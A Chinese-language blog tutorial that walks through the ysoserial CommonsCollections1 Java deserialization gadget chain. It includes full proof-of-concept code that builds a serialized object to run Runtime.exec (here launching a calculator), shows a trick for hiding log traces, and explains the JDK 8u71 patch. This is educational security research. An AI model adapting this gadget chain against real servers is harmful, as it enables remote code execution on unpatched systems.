yso之CC1链

前言

Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分。Apache Commons Collections是Java中应用广泛的一个库,包括Weblogic、JBoss、WebSphere、Jenkins等知名大型Java应用都使用了这个库。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

环境

  • 因为java 8u71之后已修复不可利用,所以安装了jdk7u80

  • Apache-Common-Collections-3.1

反射知识

CC链不像URLDNS简单,需要利用到反射机制

Java反射机制:是指在运行时去获取一个类的变量和方法信息。然后通过获取到的信息来创建对象,调用方法的一种机制。

我们可以通过反射命令执行的简单例子来进行理解

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InstantiationException, InvocationTargetException {
        Class c1 = Class.forName("java.lang.Runtime");
        c1.getMethod("exec", String.class).invoke(c1.getMethod("getRuntime").invoke(c1), "calc.exe");
    }

这是能成功打开计算器的代码

image-20220110145920930

我们可以将它拆解为正常的反射流程

1.首先获取Class类对象,这里使用的是Class类中的静态方法forName

  • 还有常见的其他两种方法,这里不细讲
    • 使用类的calss属性来获取该类对于的class对象。
    • 用对象的getClass()方法,返回该对象所属类对应的Class对象
public static void main(String[] args) throws ClassNotFoundException{
        Class c1 = Class.forName("java.lang.Runtime");
    }

2.然后在Class类中用getConstructor获取构造方法,然后通过newInstance获取对象

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class c1 = Class.forName("java.lang.Runtime");
        Constructor con1 = c1.getConstructor();
        Object o1 = con1.newInstance();
    }

到这一步就已经出现问题

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vatlf4lv-1643030725723)(http://image.liangyueliangyue.top//img202201242125349.png)]

写一个Runtime步进,Runtime的构造方法为私有的

image-20220110151021466

getConstructor()方法只能获取所有公共构造方法对象的数组

这时候我们可以通过getDeclaredConstructor()方法来获取类的私有构造方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class c1 = Class.forName("java.lang.Runtime");
        Constructor con1 = c1.getDeclaredConstructor();
        Object o1 = con1.newInstance();
    }

但是能够获取到并不意味能够通过私有方法创建对象

image-20220110151759246

这里需要用到java的暴力反射

 public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class c1 = Class.forName("java.lang.Runtime");
        Constructor con1 = c1.getDeclaredConstructor();
        con1.setAccessible(true);
        Object o1 = con1.newInstance();
    }

image-20220110152000677

通过setAccessible设置值为ture来取消访问检查

成功执行后继续通过getMethod()获取对象的存在方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class c1 = Class.forName("java.lang.Runtime");
        Constructor con1 = c1.getDeclaredConstructor();
        con1.setAccessible(true);
        Object o1 = con1.newInstance();
        Method m1 = c1.getMethod("exec", String.class);
    }

invoke调用obj对象的成员方法

public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException {
        Class c1 = Class.forName("java.lang.Runtime");
        Constructor con1 = c1.getDeclaredConstructor();
        con1.setAccessible(true);
        Object o1 = con1.newInstance();
        Method m1 = c1.getMethod("exec", String.class);
        m1.invoke(o1,"calc.exe");
    }

成功弹出计算器,但是在高版本(>=jdk11)虽然能够执行但是会给出warning

image-20220110153142093

最回到例子来,可以看出它根本没有调用过newInstance函数,那么它invoke的对象是怎么生成的?

c1.getMethod("getRuntime").invoke(c1)

Runtime类可以通过 getRuntime() 来获取到 Runtime 对象,而invoke 的作用是执行方法

但是它有不同的用法

  • 如果这个方法是普通方法,那么第一个参数是类对象
  • 如果这个方法是静态方法,那么第一个参数是类或者用null代替

而getRuntime() 是静态方法,所以它的参数是一个类(或是null)而不是类对象,所以不需要去生成类对象来进行调用

image-20220110154933822

反射机制讲究的就是动态性,由于这种动态性,可以极大的增强程序的灵活性,程序不用在编译期就完成确定,在运行期仍然可以扩展。但也正因为如此才会被广泛的利用。

CC-POC复现

先用idea创建maven项目

导入cc依赖

   <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

然后新建Poc.java

import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Poc {

    public static void main(String[] args) throws Exception {
        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

        //将transformers数组存入ChaniedTransformer这个继承类
        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //给予map数据转化链
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        //触发漏洞
        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
        onlyElement.setValue("foobar");
    }
}

直接运行弹出计算器

image-20220102111819303

CC-POC解析

布局

//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };

开始构建了一个Transformer的数组,而Transformer是一个接口,所以transformers是一个接口数组

数组的内容是通过实现了Transformer接口的类来创建的对象

首先看ConstantTransformer

image-20220110160557843

使用构造方法传入参数(Runtime类对象)

再来看InvokerTransformer类,从注释中就能知道这个类是拿来生成新对象的

/**
 * Transformer implementation that creates a new object instance by reflection.
 * 
 * @since Commons Collections 3.0
 * @version $Revision: 1.7 $ $Date: 2004/05/26 21:44:05 $
 *
 * @author Stephen Colebourne
 */

三个调用了同样的构造方法

image-20220110161900636

iMethodName、iParamTypes、iArgs来自于构造方法

第一个参数是方法名,第二个参数是参数类型,第三个是参数值,将参数提取一下

"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }
"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }
"exec", new Class[] {String.class }, new Object[] {"calc.exe"}

再来看下面的

Transformer transformerChain = new ChainedTransformer(transformers);

创建了ChainedTransformer,传入参数为接口数组

image-20220110162228001

构造函数也是将接口数组赋值给iTransformers变量

创建HashMap并传入一个键值对

Map innerMap = new HashMap();
innerMap.put("value", "value");

再看下面

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

通过TransformedMap类的decorate方法得到了一个TransformedMap对象outerMap

分析一下TransformedMap

image-20220111121753511

存在构造方法但是是protected保护的,所以需要通过decorate提供一个实例化对象。

keyTransformer传值为null,valueTransformer为transformerChain对象

然后通过一系列方法获取到outerMap的第一个键值对并转换成Map.Entry形式赋值给onlyElement

Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

然后就到了关键的漏洞触发点,打上断点开始调试

image-20220113131707777

①步入调用了parent的checkSetValue方法

image-20220113132515831

②而这里因为onlyElement是outerMap(TransformedMap对象)entrySet获得的,所以parent是TransformedMap,从而调用了TransformedMap类中的checkSetValue方法

image-20220113133239153

③checkSetValue又调用了valueTransformer类中的transform方法,参数为新设置的value值对象

那么这个valueTransformer是什么类?

crtl点击发现是一个常量

image-20220113133939017

那么肯定是构造时就定义好的,找到构造方法确认参数为第三个

image-20220113134130957

而我们又是通过decorate方法调用构造方法

image-20220113134236600

POC中调用decorate时传入的第三个值正是transformerChain对象(由ChainedTransformer得到)

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

所以这里调用的是ChainedTransformer类中的transform方法,再步入

image-20220113134513750

④用for循环遍历了iTransformers,将里面的对象都调用transform方法依次返回

iTransformers值在上面对象的创建时就已经知道是接口数组

image-20220113135033315

⑤再步入,首先调用的是ConstantTransformer类的transform方法

image-20220113135151118

在上面创建时也讲到了,直接是我们提供的Runtime.class(类名)

⑥步入到下一次循环

image-20220113135700611

这时候object已经通过ConstantTransformer类的transform方法变成了我们提供的Runtime类

然后再三次调用InvokerTransformer类的transform方法,这个方法中会尝试反射

通过getClass()获取类,getMethod()获取方法,invoke反射调用方法(这些都在前面基础讲过)

这里的iMethodName,iParamTypes,iArgs全部在创建时定义(可控

第一次反射

"getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }

此时的input为Runtime类对象

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S7UC2b4E-1643030725743)(http://image.liangyueliangyue.top//img202201242125370.png)]

调用input.getClass() => Runtime.class.getClass()得到了java.lang.Class类,获取我们传入的getMethod方法

调用了Runtime对象中getMethod的方法,参数为"getRuntime", new Class[0]

那么最终返回的就是Runtime类中的getRuntime方法了

第二次反射

"invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }

此时的input为getRuntime方法对象

image-20220113150713938

调用input.getClass() 得到了java.lang.reflect.Method类,获取我们传入的invoke方法

调用了getRuntime方法对象中invoke的方法,参数为null, new Object[0]

那么最终返回的就是getRuntime方法对象执行invoke参数为null

上面讲到过当invoke调用静态方法时需要令第一个参数为类或者null,所以这里只是为了调用静态方法getRuntime

那么最终返回的就是Runtime对象了

第三次反射

"exec", new Class[] {String.class }, new Object[] {"calc.exe"}

此时的input为Runtime对象

image-20220113155051356

调用input.getClass() 得到了java.lang.Runtime类,获取我们传入的exec方法

调用了Runtime对象中exec的方法,参数为calc.exe,成功弹出计算器

image-20220113155335542

到这里就完成了这个POC的分析

疑问

为什么不直接利用反射命令执行,而是构造一个transformers 数组通过Runtime.class去不断反射执行

因为Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。

Runtime.class是属于java.lang.Classjava.lang.Class 是实现了java.io.Serializable 接⼝的。可以被序列化。

利用链

最后的调用栈简化

Map.Entry->setValue()

TransformedMap->checkSetValue()

ChainedTransformer->transform()

InvokerTransformer->transform()

yso的CC1分析

在实际运用中需要将代码转换为序列化流然后再让服务器成功readObject读取我们序列化的流文件完成反序列化最终命令执行。

所以根据yso的CC1链去学习实际运用的特殊情况以及利用方法

首先是利用链和环境需求

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

可以看到后面的利用是一样的,只是前面多了很多步,反着推

首先看LazyMap类的get方法,这里他取代了TransformedMap,那么它肯定有办法去调用指定类的transform方法

image-20220113202825445

来到get函数,首先判断是否该Map是否已经存在key,没有的话就调用factory.transform()进行处理

而factory又是常量,那么肯定在构造函数中定义

image-20220113203051781

而构造函数是protected,提供了decorate方法来创建对象

image-20220113203526294

这里第二个decorate方法是符合我们的要求的(factory是实现Transformer接口的类)

那么万事俱备只欠东风,我们要去寻找一个类,在对象进行反序列化时会调用我们精心构造对象的get(Object)方法。

sun.reflect.annotation.AnnotationInvocationHandlerinvoke()方法满足条件

image-20220113220125138

invoke()中,判断var2方法的形参个数为0且var2的方法名(var=var2.getName())不为toString,hashCode或者annotationType则会触发this.memberValues.get()

在找到this.memberValues的赋值点

image-20220113220935389

构造方法中的var2构造为LazyMap即可触发漏洞,那么接下来找谁能够调用触发AnnotationInvocationHandler.invoke()

也就是入口处的AnnotationInvocationHandler类的重写后的readObject

image-20220113224819820

readObject中调用了this.memberValues的entrySet方法。跟invoke方法有什么关系?

这里用到了java的动态代理知识点

简单的说就是执行代理对象任何方法都会先触发代理对象对应handler的invoke方法。

如果这里的memberValues是个代理对象,那么就会调用memberValues对应handler的invoke方法

所以我们设置一个代理对象,然后将handler设置为AnnotationInvocationHandler(其实现了InvocationHandler,所以可以被设置为代理类的handler)。

动态代理执行invoke

①在调用readObject反序列化处理时,会触发AnnotationInvocationHandler重写后的readObject方法

②然后调用了this.memberValues.entrySet,而this.memberValues是之前构造好的代理对象,所以调用其方法时,会去调用其创建代理时设置的handler的invoke方法。

③而这个代理对象设置的handler为这个InvocationHandler这个类产生的对象,接着会调用他的invoke方法

④InvocationHandler的invoke方法中调用了this.memberValues#get,此时的this.memberValues为之前设置好的lazymap,所以这里调用的是lazymap#get

然后就是之前分析的调用链,就这样自己本地实现一下简单的序列化反序列化

本地实现

public static void main(String[] args) throws Exception {
        //布局
        Transformer[] transformers = new Transformer[]{ new ConstantTransformer(java.lang.Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}), new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"calc.exe"}})};

        //利用ChainedTransformer链接
        ChainedTransformer TransformerChain = new ChainedTransformer(transformers);
        
    	//LazyMap中get存在transform入口
    	Map hashMap = new HashMap();
        Map lazyMap = LazyMap.decorate(hashMap, TransformerChain);
    
        //因为sun.reflect.annotation.AnnotationInvocationHandler的构造方法不是public, 要通过反射构造出来。
    	//赋值this.memberValues为lazyMap(也就是代理对象为lazyMap),且var1满足条件才能触发触发this.memberValues.get()
        Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        con1.setAccessible(true);
        InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);

        //最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法
        Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);
      	Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        con2.setAccessible(true);
        Object ih2 = con2.newInstance(Override.class, proxy);

        //序列化和反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("exp"));
        oos.writeObject(ih2);
        oos.flush();
        oos.close();

        FileInputStream fis = new FileInputStream("exp");
        ObjectInputStream ois = new ObjectInputStream(fis);
        // readObject触发
        Object newObj = ois.readObject();
        ois.close();
    }

还有一个点没有说,就是var1满足的条件

来到AnnotationInvocationHandler类的构造方法,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数。

image-20220114141352717

存在if判断,不满足不会赋值且报错

isAnnotation()方法用于检查此Class对象是否表示注释类型。

getInterfaces().length==1 => 只实现了一个接口

getInterfaces()[0]==Annotation.class => 实现Annotation接口

因为继承了Annotation所以后面两个自然满足,只需要找到java自带的注解类即可

  • Deprecated.class

  • Override.class

  • SuppressWarnings.class

yso动态代理处理

yso利用了Gadgets类来处理动态代理

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);

原理是一样的,步入createMemoitizedProxy

   public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
        return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
    }

在createMemoitizedProxy方法中又调用了createMemoizedInvocationHandler(map)

public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
        return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
    }

ANN_INV_HANDLER_CLASS常量

image-20220114143503218

所以和自己构造是一样的①和②等价

final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);Constructor con1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        con1.setAccessible(true);
        InvocationHandler ih = (InvocationHandler) con1.newInstance(Override.class, lazyMap);

        //最后一步就是创建动态代理,传入InvocationHandler,反序列化时会调用memberValues的entrySet方法,会首先触发InvocationHandler的invoke方法
        Object proxy = Proxy.newProxyInstance(ih.getClass().getClassLoader(), new Class[]{Map.class}, ih);final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);Constructor con2 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        con2.setAccessible(true);
        Object ih2 = con2.newInstance(Override.class, proxy);

yso的其他操作

非预期命令执行

在调试自己构造的Poc时可能会遇到弹出两次计算器或者超前弹出了计算器

这是因为Idea在调试模式下会调用对象的toString方法,而我们构造了动态代理,但调用了代理对象的toString方法就会调用handler的invoke方法导致非预期的命令执行。

我们可以手动关闭调试时的调用,去掉红色框内的选项

image-20220114163427240

而在yso中,为了解决这个问题,它在开始创建transformerChain常量时并没有放入执行代码

final Transformer transformerChain = new ChainedTransformer(
	new Transformer[]{ new ConstantTransformer(1) });

在动态代理套娃完成后,才将代码赋值给iTransformers常量,然后直接返回对象去序列化,就不会有非预期的命令执行了

隐藏日志特征

yso的transformers接口数组定义时,多在末尾创建了一个ConstantTransformer对象。

因为在命令执行时会返回异常信息,但是存在这个ConstantTransformer对象时的异常信息是不同的

少对象时

image-20220114164447113

多对象时

image-20220114164415476

所以判断可能是为了隐藏日志特征

版本限制

CC1在8u71后不能使用,我们对比下新老版本,分析一下原因

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/f8a528d0379d

基于TransformedMap

第50-51行删除setValue的调用(这是一种黑名单的方式)

基于LazyMap

40-41行memberValues.entrySet()变为streamVals.entrySet()

image-20220114161033478

21行streamVals 通过s.readField获得

image-20220114161039655

15行删去了s.defaultReadObject

image-20220114161200976

这里得到的streamVals和通过和s.defaultReadObject得到的对象有什么不同呢?

其实和这个并没关系,只是改变后不再直接使用反序列化得到的Map对象,而是新建了一个LinkedHashMap对象

因为最后的poc是两个AnnotationInvocationHandler的套娃,外面的AnnotaationInvocationHandler(直接readObject的)它获得的streamVals确实还是一个代理对象,调用streamVals上面的方法确实会进入到invoke,最后也确确实实会调用到里层的AnnotationInvocationHandler.invoke()this.memberValues.get()

但是,后续对Map的操作都是基于这个新的LinkedHashMap对象,也就是里层的Ann...HandlermemberValues已经不是LazyMap了,而是LinkedHashMap

漏洞原理

在回过头来看漏洞原理

这条链最终是利用org.apache.commons.collections.functors.InvokerTransformer 其中的 transform()方法中的反射机制来调用java.lang.Runtimeexec()进行命令执行

还有一个关键点在于Java 要能完成序列化与反序列化要求这个被序列化的类有继承Serializable,而Runtime类没有继承,所以直接使用就会报错。而Runtime.class是属于java.lang.Class,java.lang.Class实现了Serializable接⼝所以可以被序列化。而ChainedTransformer中的transform方法实现了Transformer接口的类数组的遍历,依次调用其中的transform方法传递给下一个元素,成为了关键的串连线,非常巧妙。

然后不管是基于TransformedMap还是LazyMap实现的Poc,都只是因为AnnotaationInvocationHandler方法重写了readObject,然后一步步走到了transform方法的执行

后记

作为一个刚开始学java安全的新人,网络上CC链的相关分析实在是很多。但大都不是很基础,会看的一头雾水,所以不如静下心来尝试自己先找一些Demo开始一点点的分析,遇到问题要先自己思考,等到思考过后再去寻求答案才是正确的选择。最后,小白入门,如果有错误希望师傅能够及时指出。

参考资料

P牛-Java安全漫谈

https://last-las.github.io/2020/11/05/yso-CommonsCollections/

https://www.cnblogs.com/9eek/p/15050035.html

https://paper.seebug.org/1242/#commons-collections

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值